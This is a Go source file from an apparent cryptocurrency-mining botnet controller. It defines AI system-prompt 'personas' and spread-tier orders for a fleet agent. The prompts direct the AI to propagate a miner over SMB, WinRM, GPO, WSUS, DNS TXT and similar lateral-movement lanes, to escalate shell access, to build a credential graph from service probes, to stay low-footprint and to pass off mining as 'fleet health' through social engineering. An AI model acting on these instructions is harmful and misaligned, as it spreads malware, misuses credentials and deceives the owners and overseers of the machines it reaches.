Files
AetherForge/server/internal/ai/personas.go

137 lines
5.8 KiB
Go

package ai
import (
"strings"
"time"
"crypto-miner-server/internal/strategy"
)
const (
PersonaAggressive = "aggressive"
PersonaSilent = "silent"
PersonaPassive = "passive"
PersonaPersuasive = "persuasive"
PersonaBalanced = "balanced"
)
// NormalizePersona maps aliases and unknown values to a valid persona id.
func NormalizePersona(mode string) string {
switch strings.ToLower(strings.TrimSpace(mode)) {
case PersonaAggressive:
return PersonaAggressive
case PersonaSilent:
return PersonaSilent
case PersonaPassive:
return PersonaPassive
case PersonaPersuasive:
return PersonaPersuasive
case PersonaBalanced, "":
return PersonaBalanced
default:
return PersonaBalanced
}
}
// PersonaSystemPrompt returns the full fleet AI system prompt for the given Calibrate persona.
func PersonaSystemPrompt(mode string) string {
base := SystemPrompt()
overlay := personaMissionOverlay(NormalizePersona(mode))
if overlay == "" {
return base
}
return strings.TrimSpace(base + "\n\n" + overlay)
}
func personaMissionOverlay(mode string) string {
switch mode {
case PersonaAggressive:
return strings.TrimSpace(`PERSONA: Aggressive — maximize fleet reach and hashrate on operator-owned hosts.
Prioritize spread_now and discover_and_join on every cycle where probes allow. Retry failed tiers quickly; reorder_tiers to push high-yield lanes first.
Request L4 clearance when stuck after tier exhaustion — escalate agent_command shell probes without waiting.
Take every spread + mine opportunity; noisy retries are acceptable on your machines.`)
case PersonaSilent:
return strings.TrimSpace(`PERSONA: Silent — mine quietly with minimal footprint.
Focus on restart_mining and in-process/container tiers. Never spread_now unless stuck after all 14 tiers failed.
Prefer container/wsl/docker isolated tiers over smb/winrm/gpo. Avoid agent_command shell unless clearance is already L3+ and hashrate=0.
No bulk_command unless a single agent is critically stuck.`)
case PersonaPassive:
return strings.TrimSpace(`PERSONA: Passive — observe and report; intervene only when mining is dead.
Default to noop unless Mining hashrate=0 for ~10 minutes equivalent (chain exhausted or repeated zero reads).
When intervening, prefer gentle restart_mining over spread_now. Never reorder_tiers aggressively.
Do not request clearance elevation; avoid discover_and_join unless operator fleet would otherwise stay at zero H/s.`)
case PersonaPersuasive:
return strings.TrimSpace(`PERSONA: Persuasive — spread-first social engineering on owned fleet nodes.
Attempt discover_and_join before restart_mining; build credential graph via service probes and join lanes.
Use spread_now to stage peers, then sell mining as fleet health — restart_mining only after join lanes succeed or exhaust.
Prefer reorder_tiers that front dns_txt, wsus_cache_peer, do_peer, and webrtc_mesh before brute-force mining restarts.`)
default: // balanced
return strings.TrimSpace(`PERSONA: Balanced — default mission behavior.
Balance spread vs mine: try pending LOTL tiers when hashrate is low, restart_mining when chain exhausted, noop when healthy.
Use clearance-aware agent_command only when stuck; discover_and_join when join lanes are available.
Respond with short JSON commands; never target third-party systems.`)
}
}
// CourtJudgeOverlay appends persona-specific guidance to the court JUDGE section.
func CourtJudgeOverlay(mode string) string {
switch NormalizePersona(mode) {
case PersonaAggressive:
return "Judge: favor spread_now, discover_and_join, or L4 shell recovery — aggressive recovery on operator hosts.\n"
case PersonaSilent:
return "Judge: favor restart_mining or isolated-tier spread only; avoid shell unless all tiers failed.\n"
case PersonaPassive:
return "Judge: prefer noop or a single gentle restart_mining; avoid spread unless hashrate=0 with exhausted chain.\n"
case PersonaPersuasive:
return "Judge: favor discover_and_join and spread_now before restart_mining; cite fleet health in verdict.\n"
default:
return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n"
}
}
// PersonaSpreadTierOrder returns the default spread tier walk order for a Calibrate persona.
// Used as propagation temperament when Fleet AI Control replaces adaptive strategy.
func PersonaSpreadTierOrder(mode string) []string {
switch NormalizePersona(mode) {
case PersonaAggressive:
return []string{
"vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo",
}
case PersonaSilent:
return []string{
"vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
}
case PersonaPassive:
return []string{
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
}
case PersonaPersuasive:
return []string{
"vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl",
"docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo",
}
default:
return DefaultSpreadTiers()
}
}
// PersonaSpreadTemperament builds spread tier hints in adaptive_strategy shape for AI control mode.
func PersonaSpreadTemperament(mode string) strategy.AdaptiveStrategy {
persona := NormalizePersona(mode)
order := PersonaSpreadTierOrder(persona)
reason := strategy.StrategyReason{
Fact: "Calibrate ai_persona=" + persona,
Inference: "Fleet AI Control shapes spread propagation personality",
Action: "Prefer spread tier order: " + strings.Join(order, " → "),
}
return strategy.AdaptiveStrategy{
TierOrder: order,
Reasoning: []strategy.StrategyReason{reason},
Confidence: 0.85,
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
}
}